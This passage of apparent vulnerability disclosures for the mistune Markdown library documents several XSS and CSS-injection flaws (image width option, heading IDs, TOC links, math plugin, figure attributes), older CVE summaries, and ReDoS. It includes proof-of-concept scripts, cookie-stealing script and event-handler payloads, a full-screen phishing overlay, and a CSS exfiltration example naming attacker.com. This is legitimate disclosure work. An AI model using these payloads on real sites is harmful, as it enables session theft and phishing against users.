A regression test should assert that md('~~x~~' 50000) completes in under 1 second. The same fix shape applies to MARKEND and INSERTEND.
Summary The Image directive plugin validates the :width: and :height: options with a regex compiled as numre = re.compile(r"^\d+(?:\.\d)?"). This pattern is applied via re.match() (which anchors only at the start of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.
When the validated value is not a plain integer, renderblockimage() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping.
An attacker can therefore inject an arbitrary chain of CSS properties — including position:fixed, background-color, z-index, outline, and opacity — using nothing more than a single :width: option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.
Details File: src/mistune/directives/image.py
python numre = re.compile(r"^\d+(?:\.\d)?") # no $ anchor — prefix match only
def parseattrs(options): height = options.get("height") width = options.get("width") if height and numre.match(height): # passes if value STARTS with a digit attrs["height"] = height # full value stored, not just digits if width and numre.match(width): # same — prefix-only check attrs["width"] = width
And in renderblockimage():
python if width: if width.isdigit(): img += ' width="' + width + '"' # safe: integer → HTML attribute else: style += "width:" + width + ";" # UNSAFE: non-integer → raw style value
The isdigit() branch correctly uses an HTML attribute for plain integers. The else branch assumes that anything that passed numre.match() is a safe CSS length like 100px or 50%. However, because the regex is prefix-only, 100vw;height:100vh;position:fixed;... also passes, and the entire string lands in style= unmodified.
PoC Step 1 — Establish the baseline (safe plain-integer dimensions)
The script creates a parser with escape=True, FencedDirective, and the Image plugin. A safe image directive is rendered with integer width and height:
python md = createmarkdown(escape=True, plugins=[FencedDirective([Image()])])
blsrc = ( "{image} photo.jpg\n" ":width: 400\n" ":height: 300\n" ":alt: safe image\n" "\n" ) blout = str(md(blsrc))
Expected and actual output — clean width= and height= HTML attributes, no style=: html <div class="block-image"><img src="photo.jpg" alt="safe image" width="400" height="300" /></div>
Step 2 — Understand why non-integer widths go into style=
When width is not a plain integer (e.g., 100px), width.isdigit() returns False, so the render path falls through to style += "width:" + width + ";". This is the intended mechanism for CSS-unit dimensions. The flaw is that numre.match() lets far more than CSS units through.
Step 3 — Craft the exploit payload
Provide a :width: value that begins with a valid number (satisfying numre.match()) but appends an entire CSS attack chain after it:
:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93
- 100vw — starts with 1, passes numre.match(); also sets the width to full viewport width - ;height:100vh — overrides height to full viewport height - ;position:fixed — lifts element out of document flow, fixed to the browser viewport - ;top:0;left:0 — anchors overlay to the top-left corner - ;z-index:9999 — places it above all other page content - ;background-color:#e11d48 — fills the overlay with vivid crimson - ;outline:8px solid #facc15 — adds a bright yellow border - ;color:#fff;opacity:.93 — styles the alt-text label in white with near-full opacity
Full exploit markdown: {image} x.jpg :width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93 :alt: ⚠ CSS INJECTED — click to dismiss ⚠
Step 4 — Observe the injected style= in the output
python exsrc = ( "{image} x.jpg\n" ":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;" "background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n" ":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n" "\n" ) exout = str(md(exsrc))
Actual output: html <div class="block-image"><img src="x.jpg" alt="⚠ CSS INJECTED — click to dismiss ⚠" style="width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;" /></div>
Every injected CSS property is present in the style= attribute. When a browser renders this HTML, the <img> element: - expands to fill 100% of the viewport width and height - sits fixed at the top-left corner, scrolling with the viewport - is coloured crimson with a yellow outline - appears above all other page content
The result is a complete full-page phishing overlay generated from a single Markdown image directive.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
python #!/usr/bin/env python3 """H6: Image directive CSS injection — width/height use prefix-only re.match().
Exploit combines: position:fixed + background-color + outline colour → a full-viewport coloured overlay injected via a single :width: option. """ import os, html as h from mistune import createmarkdown from mistune.directives import FencedDirective from mistune.directives.image import Image
md = createmarkdown(escape=True, plugins=[FencedDirective([Image()])])
--- baseline --- blfile = "baselineh6.md" blsrc = ( "{image} photo.jpg\n" ":width: 400\n" ":height: 300\n" ":alt: safe image\n" "\n" ) with open(os.path.join(os.getcwd(), blfile), "w") as f: f.write(blsrc) blout = str(md(blsrc))
print(f"[{blfile}]\n{blsrc}") print("[output — clean width/height attributes, no style injection]") print(blout)
--- exploit --- numre.match() is prefix-only (no $ anchor), so anything after the leading digits is accepted and written verbatim into style="width:<value>;". This single :width: value smuggles a full CSS attack chain: position:fixed → overlay sits above the entire page top/left/width/height → covers 100 % of the viewport background-color:#e11d48 → vivid crimson fill outline:8px solid #facc15 → bright yellow border color:#fff → white alt-text label z-index:9999 → on top of everything exfile = "exploith6.md" exsrc = ( "{image} x.jpg\n" ":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;" "background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n" ":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n" "\n" ) with open(os.path.join(os.getcwd(), exfile), "w") as f: f.write(exsrc) exout = str(md(exsrc))
print(f"[{exfile}]\n{exsrc}") print("[output — colour + background-colour + fixed overlay injected into style=]") print(exout)
--- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px; font-size:.85em;color:#92400e;margin:12px 0} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc; box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px; font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px; background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px} / scope the live-render sandbox so position:fixed stays inside the box / .sandbox{position:relative;width:100%;height:100%} .sandbox img{max-width:100%;max-height:100%;object-fit:contain} / override position:fixed on exploit img to keep it inside the preview box / .sandbox img[style="position:fixed"]{position:absolute!important;width:100%!important; height:100%!important;top:0!important;left:0!important} """
def case(kind, label, filename, src, out): header = "BASELINE" if kind == "baseline" else "EXPLOIT" sandbox = f'<div class="sandbox">{out}</div>' return f""" <div class="case {kind}"> <div class="case-header">{header} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ live render (sandboxed to preview box)</div> <div class="rendered">{sandbox}</div> </div> </div> </div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H6 — Image CSS Injection</title><style>{CSS}</style></head><body> <h1>H6 — Image Directive CSS Injection</h1> <p class="desc"> <code>parseattrs()</code> in <code>directives/image.py</code> validates <code>:width:</code> / <code>:height:</code> with <code>numre.match()</code> (prefix-only — no <code>$</code> anchor). Anything after the leading digits is accepted verbatim and written straight into a <code>style=</code> attribute. A single <code>:width:</code> option is sufficient to smuggle an arbitrary CSS chain: <strong>position:fixed · background-color · outline colour · full-viewport overlay</strong>. </p> <div class="warn"> ⚠ The EXPLOIT preview below is sandboxed inside its box. In a real document the crimson overlay would cover the <em>entire browser window</em>. </div> {case("baseline", "Integer dims → clean width/height= attributes, no style=", blfile, blsrc, blout)} {case("exploit", ":width: carries position:fixed + background-color + outline → full-viewport coloured overlay", exfile, exsrc, exout)} </body></html>"""
outpath = os.path.join(os.getcwd(), "reporth6.html") with open(outpath, "w") as f: f.write(page) print(f"\n[report] {outpath}")
Example usage: bash python poc.py
Once you run the script, open reporth6.html in the browser and observe the behaviour.
Impact | Dimension | Assessment | |------------------|-----------| | Confidentiality | CSS-based data exfiltration via background-image: url(https://attacker.com/?leak=...) is possible in some browser/CSP configurations | | Integrity | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation | | Availability | The overlay obscures all page content from the user until dismissed or navigated away |
Real-world impact scenario: An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.
Summary rendertocul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value.
When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.
This vulnerability is closely related to H2 (unescaped id= in heading()): the same headingid callback pattern that triggers H2 also populates the tocitems list that rendertocul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.
Details File: src/mistune/toc.py
python def rendertocul(toc): ... for level, k, text in toc: # k = heading id (used verbatim as href fragment) # text = heading text (used verbatim as link label) item = '<a href="#{}">{}</a>'.format(k, text) # Neither k nor text is passed through escape() at any point
The k and text values come directly from the tocitems list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.
PoC Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default addtochook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:
python mdsafe = createmarkdown(escape=True) addtochook(mdsafe)
blsrc = "# Introduction\n\n## Installation\n" , state = mdsafe.parse(blsrc) blout = rendertocul(state.env.get("tocitems", []))
Output — clean, safe TOC: html <ul> <li><a href="#toc1">Introduction</a> <ul> <li><a href="#toc2">Installation</a></li> </ul> </li> </ul>
Step 2 — Enable the vulnerable headingid callback
Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:
python def rawid(token, index): return token.get("text", "")
mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)
Step 3 — Craft the exploit payload
Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling <a href=" to absorb the closing "> that rendertocul appends:
x"><script>alert(document.cookie)</script><a href="
When rawid processes this heading, it returns the entire text as the ID: x"><script>alert(document.cookie)</script><a href=".
Step 4 — Observe script injection in the TOC output
python exsrc = '## x"><script>alert(document.cookie)</script><a href="\n' , state = mdvuln.parse(exsrc) exout = rendertocul(state.env.get("tocitems", []))
rendertocul() formats the malicious ID directly into the <a href>:
python '<a href="#{}">{}</a>'.format(k, text) becomes: '<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'
Actual output: html <ul> <li><a href="#x"><script>alert(document.cookie)</script><a href="">x"><script>alert(document.cookie)</script><a href="</a></li> </ul>
The <script> block is live in the document. Note that the anchor label (text) is escaped correctly by mistune's inline renderer before it reaches tocitems, but k (the heading ID) is not escaped anywhere.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
python #!/usr/bin/env python3 """H4: rendertocul() puts raw heading ID into <a href> without escaping.""" import os, html as h from mistune import createmarkdown from mistune.toc import addtochook, rendertocul
def rawid(token, index): return token.get("text", "")
--- baseline --- mdsafe = createmarkdown(escape=True) addtochook(mdsafe)
blfile = "baselineh4.md" blsrc = "# Introduction\n\n## Installation\n" with open(os.path.join(os.getcwd(), blfile), "w") as f: f.write(blsrc) , state = mdsafe.parse(blsrc) blout = rendertocul(state.env.get("tocitems", []))
print(f"[{blfile}]\n{blsrc}") print("[toc output — safe]") print(blout)
--- exploit --- mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)
exfile = "exploith4.md" exsrc = '## x"><script>alert(document.cookie)</script><a href="\n' with open(os.path.join(os.getcwd(), exfile), "w") as f: f.write(exsrc) , state = mdvuln.parse(exsrc) exout = rendertocul(state.env.get("tocitems", []))
print(f"[{exfile}]\n{exsrc}") print("[toc output — script injected via href breakout]") print(exout)
--- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """
def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>TOC output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser</div> <div class="rendered">{out}</div> </div> </div> </div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H4 — TOC XSS</title><style>{CSS}</style></head><body> <h1>H4 — TOC rendertocul() XSS</h1> <p class="desc">rendertocul() in toc.py uses '<a href="#{{}}">{{}}</a>'.format(k, text) — neither k (the heading ID) nor text is escaped before insertion.</p> {case("baseline", "Normal headings → sequential IDs → clean TOC links", blfile, blsrc, blout)} {case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", exfile, exsrc, exout)} </body></html>"""
outpath = os.path.join(os.getcwd(), "reporth4.html") with open(outpath, "w") as f: f.write(page) print(f"\n[report] {outpath}")
Example usage: bash python poc.py
Once you run the script, open reporth4.html in the browser and observe the behaviour.
Impact | Dimension | Assessment | |------------------|-----------| | Confidentiality | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin | | Integrity | Arbitrary DOM manipulation, phishing form injection, forced redirects | | Availability | Page crash or freeze available as secondary effect |
Risk context: TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.
Summary HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safeentity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element.
The default TOC hook assigns safe auto-incremented IDs (toc1, toc2, …) that never contain user text. However, the addtochook() API accepts a caller-supplied headingid callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like #installation or #getting-started — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the id= attribute.
Details File: src/mistune/renderers/html.py
python def heading(self, text: str, level: int, attrs: Any) -> str: tag = "h" + str(level) html = "<" + tag id = attrs.get("id") if id: html += ' id="' + id + '"' # ← id is never escaped return html + ">" + text + "</" + tag + ">\n"
The text body (line content) is escaped upstream by the inline token renderer, which is why text arrives as " etc. But id arrives as a raw string directly from whatever the headingid callback returned — no escaping occurs at any point in the pipeline.
PoC Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default addtochook() (no custom headingid callback). The default hook generates sequential numeric IDs:
python mdsafe = createmarkdown(escape=True) addtochook(mdsafe) # default: headingid produces toc1, toc2, …
blsrc = "## Introduction\n" blout, = mdsafe.parse(blsrc)
Output — ID is auto-generated, no user text appears in it: html <h2 id="toc1">Introduction</h2>
Step 2 — Add the realistic trigger: a text-based headingid callback
Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, mkdocs, sphinx, jekyll all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:
python def rawid(token, index): return token.get("text", "") # returns raw heading text as the ID
mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)
Step 3 — Craft the exploit payload
Construct a heading whose text contains a double-quote followed by an injected attribute:
foo" onmouseover="alert(document.cookie)" x="
When rawid is called, token["text"] is foo" onmouseover="alert(document.cookie)" x=". This is passed verbatim to heading() as the id attribute value.
Step 4 — Observe attribute breakout in the output
python exsrc = '## foo" onmouseover="alert(document.cookie)" x="\n' exout, = mdvuln.parse(exsrc)
Actual output: html <h2 id="foo" onmouseover="alert(document.cookie)" x="">foo" onmouseover="alert(document.cookie)" x="</h2>
Note: the heading body text is correctly escaped ("), but the id= attribute is not. A user who moves their mouse over the heading triggers alert(document.cookie). Any JavaScript payload can be substituted.
Script
A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.
python #!/usr/bin/env python3 """H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping.""" import os, html as h from mistune import createmarkdown from mistune.toc import addtochook
def rawid(token, index): return token.get("text", "")
--- baseline --- mdsafe = createmarkdown(escape=True) addtochook(mdsafe)
blfile = "baselineh2.md" blsrc = "## Introduction\n" with open(os.path.join(os.getcwd(), blfile), "w") as f: f.write(blsrc) blout, = mdsafe.parse(blsrc)
print(f"[{blfile}]\n{blsrc}") print("[output — id=toc1, no user content, safe]") print(blout)
--- exploit --- mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)
exfile = "exploith2.md" exsrc = '## foo" onmouseover="alert(document.cookie)" x="\n' with open(os.path.join(os.getcwd(), exfile), "w") as f: f.write(exsrc) exout, = mdvuln.parse(exsrc)
print(f"[{exfile}]\n{exsrc}") print("[output — headingid returns raw text, id= not escaped]") print(exout)
--- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """
def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser (hover the heading to trigger onmouseover)</div> <div class="rendered">{out}</div> </div> </div> </div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H2 — Heading ID XSS</title><style>{CSS}</style></head><body> <h1>H2 — Heading ID XSS (unescaped id= attribute)</h1> <p class="desc">HTMLRenderer.heading() in renderers/html.py does html += ' id="' + id + '"' with no escaping. Triggered when headingid callback returns raw heading text — the most common doc-generator pattern.</p> {case("baseline", "Clean heading → sequential id=toc1, safe", blfile, blsrc, blout)} {case("exploit", "Malicious heading → quotes break out of id=, onmouseover injected", exfile, exsrc, exout)} </body></html>"""
outpath = os.path.join(os.getcwd(), "reporth2.html") with open(outpath, "w") as f: f.write(page) print(f"\n[report] {outpath}")
Example Usage: bash python poc.py
Once the script is run, open reporth2.html in the browser and observe the behaviour.
Impact | Dimension | Assessment | |------------------|-----------| | Confidentiality | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction | | Integrity | DOM manipulation, phishing content injection, forced navigation | | Availability | Page freeze or crash available to attacker |
Risk context: This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's headingid callback without independently sanitising the returned value.
In src/mistune/directives/image.py, the renderfigure() function concatenates figclass and figwidth options directly into HTML attributes without escaping (lines 152-168).
This allows attribute injection and XSS even when HTMLRenderer(escape=True) is used, because these values bypass the inline renderer.
Other attributes in the same file (src, alt, style) are properly escaped; figclass/figwidth were missed.
Summary The mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.
The result is a silent contract violation: a developer who enables escape=True reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's escape flag entirely.
Details File: src/mistune/plugins/math.py
python def renderinlinemath(renderer, text): # text is raw user input — no escape() call anywhere return r'<span class="math">\(' + text + r"\)</span>"
def renderblockmath(renderer, text): # same issue for block-level $$...$$ return '<div class="math">$$\n' + text + "\n$$</div>\n"
Both functions take text directly from the parsed token and concatenate it into the output string. Neither function: - calls escape(text) from mistune.util - checks renderer.escape - calls safeentity(text) or any other sanitisation helper
The escape=True flag only influences the main HTMLRenderer methods (paragraph, heading, codespan, etc.). Plugin render functions registered via md.renderer.register() receive the renderer instance but have no mechanism that enforces the escape contract - they must opt in manually, and math.py does not.
PoC Step 1 — Establish the baseline (escape=True works for plain HTML)
The script creates a markdown parser with escape=True and the math plugin enabled, then feeds it a raw <script> tag that is not inside math delimiters:
python md = createmarkdown(escape=True, plugins=["math"]) blsrc = "<script>alert(document.cookie)</script>\n" blout = str(md(blsrc))
Expected and actual output — the script tag is correctly escaped: html <p><script>alert(document.cookie)</script></p>
This confirms escape=True is working for the normal render path.
Step 2 — Craft the exploit payload
Wrap the identical <script> payload inside inline math delimiters $...$. The content is token-extracted as text and handed to renderinlinemath():
python exsrc = "$<script>alert(document.cookie)</script>$\n" exout = str(md(exsrc))
Step 3 — Observe the bypass
Actual output — the script tag is emitted raw, unescaped: html <p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p>
The <script> block is live inside the <span class="math"> wrapper. Any browser that renders this HTML will execute alert(document.cookie).
Step 4 — Block math variant ($$...$$)
The same bypass applies to block-level math. Payload: $$ <img src=x onerror="alert(document.cookie)"> $$
Output: html <div class="math">$$ <img src=x onerror="alert(document.cookie)"> $$</div>
The onerror handler fires as soon as the browser tries to load the non-existent image x.
Script
A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.
python #!/usr/bin/env python3 """H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.""" import os, html as h from mistune import createmarkdown
md = createmarkdown(escape=True, plugins=["math"])
--- baseline --- blfile = "baselineh1.md" blsrc = "<script>alert(document.cookie)</script>\n" with open(os.path.join(os.getcwd(), blfile), "w") as f: f.write(blsrc) blout = str(md(blsrc))
print(f"[{blfile}]\n{blsrc}") print("[output — escape=True works normally here]") print(blout)
--- exploit --- exfile = "exploith1.md" exsrc = "$<script>alert(document.cookie)</script>$\n" with open(os.path.join(os.getcwd(), exfile), "w") as f: f.write(exsrc) exout = str(md(exsrc))
print(f"[{exfile}]\n{exsrc}") print("[output — escape=True bypassed inside math delimiters]") print(exout)
--- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """
def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser</div> <div class="rendered">{out}</div> </div> </div> </div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H1 — Math XSS</title><style>{CSS}</style></head><body> <h1>H1 — Math Plugin XSS (escape=True bypass)</h1> <p class="desc">renderinlinemath() in plugins/math.py concatenates user content without escape(). The escape=True renderer flag is completely ignored inside $...$ delimiters.</p> {case("baseline", "Same HTML outside $...$ — escape=True works", blfile, blsrc, blout)} {case("exploit", "Same HTML inside $...$ — escape=True bypassed", exfile, exsrc, exout)} </body></html>"""
outpath = os.path.join(os.getcwd(), "reporth1.html") with open(outpath, "w") as f: f.write(page) print(f"\n[report] {outpath}")
Example usage: bash python poc.py
Once the script is run, open reporth1.html in the browser and observe the behaviour.
Impact | Dimension | Assessment | |------------------|-----------| | Confidentiality | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session | | Integrity | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions | | Availability | Attacker can crash or freeze the page (denial-of-service to the user) |
Risk amplifier: This is a bypass of an explicit security control. Developers who have audited their application and confirmed escape=True is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.
In mistune through 2.0.2, support of inline markup is implemented by using regular expressions that can involve a high amount of backtracking on certain edge cases. This behavior is commonly named catastrophic backtracking.
Cross-site scripting (XSS) vulnerability in the keyify function in mistune.py in Mistune before 0.8.1 allows remote attackers to inject arbitrary web script or HTML by leveraging failure to escape the "key" argument.
mistune.py in Mistune 0.7.4 allows XSS via an unexpected newline (such as in java\nscript:) or a crafted email address, related to the escape and autolink functions.